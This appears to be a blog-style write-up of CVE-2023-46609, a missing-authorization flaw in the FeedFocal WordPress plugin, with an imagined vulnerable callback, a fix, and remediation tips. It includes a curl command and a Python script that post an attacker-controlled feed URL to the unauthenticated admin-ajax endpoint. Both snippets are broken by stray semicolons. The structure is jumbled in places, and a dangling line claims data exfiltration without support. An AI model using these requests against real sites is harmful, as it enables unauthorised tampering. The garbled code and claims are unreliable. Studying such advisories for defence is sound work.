Vulnerabilities arising from missing or improperly configured access controls are some of the most dangerous yet commonly overlooked issues in web applications. In late 2023, FeedFocal—a popular platform plugin—was discovered to have such a flaw. Tracked as CVE-2023-46609, this vulnerability allows unauthorized attackers to perform actions meant only for privileged users due to missing authorization checks. In this long read, we’ll break down how the flaw works, who’s at risk, and how attackers can exploit it, presenting original references, code snippets, and actionable advice for remediation and detection.

What is CVE-2023-46609?

CVE-2023-46609 refers to a Missing Authorization or Improper Access Control vulnerability found in FeedFocal, specifically versions up to and including 1.2.2. The vulnerability’s root is that certain endpoints and actions are accessible to users without properly verifying if they have the correct permissions.

Affected versions:

Official FeedFocal Site

- FeedFocal WordPress Plugin
- Official CVE Record

How Does the Vulnerability Work?

Procedures and endpoints in FeedFocal (such as creating or deleting feeds) are intended for authenticated, privileged users (like admins or editors). However, due to missing authorization checks, these actions can be triggered by any unauthenticated user—or users with low privileges.

For example, a plugin endpoint like /wp-admin/admin-ajax.php?action=ff_add_feed is supposed to be restricted. However, if there’s no current_user_can() or other WordPress capability check, anyone can access it.

Example: Vulnerable Code Snippet

Here’s a simplified version of what a vulnerable callback looks like in FeedFocal (imagine this in feedfocal.php):

add_action('wp_ajax_ff_add_feed', 'feedfocal_add_feed');
// No 'wp_ajax_nopriv_ff_add_feed' should be set, but even so...
function feedfocal_add_feed() {
    // MISSING: current_user_can('manage_options') or similar!

    $feed_url = $_POST['feed_url'];
    // ... code to add feed ...
    echo json_encode(['status' => 'success']);
    wp_die();
}

What should be here is

function feedfocal_add_feed() {
    // Authorization check
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Unauthorized', 403);
        return;
    }

    $feed_url = $_POST['feed_url'];
    // Safe handling...
    echo json_encode(['status' => 'success']);
    wp_die();
}

How Attackers Can Exploit CVE-2023-46609

Attackers simply have to send a POST or GET request to the vulnerable endpoint with the necessary parameters—no authentication required.

Example Exploit (Using curl)

curl -X POST 'https://vulnerable-site.com/wp-admin/admin-ajax.php?action=ff_add_feed'; \
  --data 'feed_url=https://malicious.com/feed';

Exfiltrate sensitive configuration data

All without being logged in or while logged in as a regular, non-privileged user.

Here’s how an attacker might automate this

import requests

target = 'https://vulnerable-site.com/wp-admin/admin-ajax.php?action=ff_add_feed';
data = {'feed_url': 'https://attacker.com/feed';}

response = requests.post(target, data=data)
print(response.text)

The attacker can repeat this as many times as they wish, potentially overwhelming the system or manipulating feed content.

Update Immediately: Upgrade to the latest version where this flaw is patched.

2. Audit and Harden Authorization: Ensure every AJAX or REST endpoint strictly checks capabilities with current_user_can().

Monitor for Abuse: Check your feed lists and logs for unexpected changes or usage spikes.

Developers: Always include explicit authorization checks on every action, regardless of whether the endpoint is “hidden”.

References, Advisories and Further Reading

- FeedFocal Plugin on WordPress.org
- Open Bug Bounty Disclosure
- MITRE CVE Record for CVE-2023-46609
- WordPress - Checking User Capabilities
- OWASP Access Control Cheat Sheet

Summary

CVE-2023-46609 is a serious real-world example of how missing authorization can lead to a full compromise of plugin features—even by logged-out or underprivileged users. Protect yourself by always verifying all permissions and updating plugins promptly. If you’re running FeedFocal 1.2.2 or earlier, update now—before someone else finds your vulnerable endpoints.

Stay safe and always check your code for those easy-to-miss access control bugs!

Timeline

Published on: 01/02/2025 12:15:12 UTC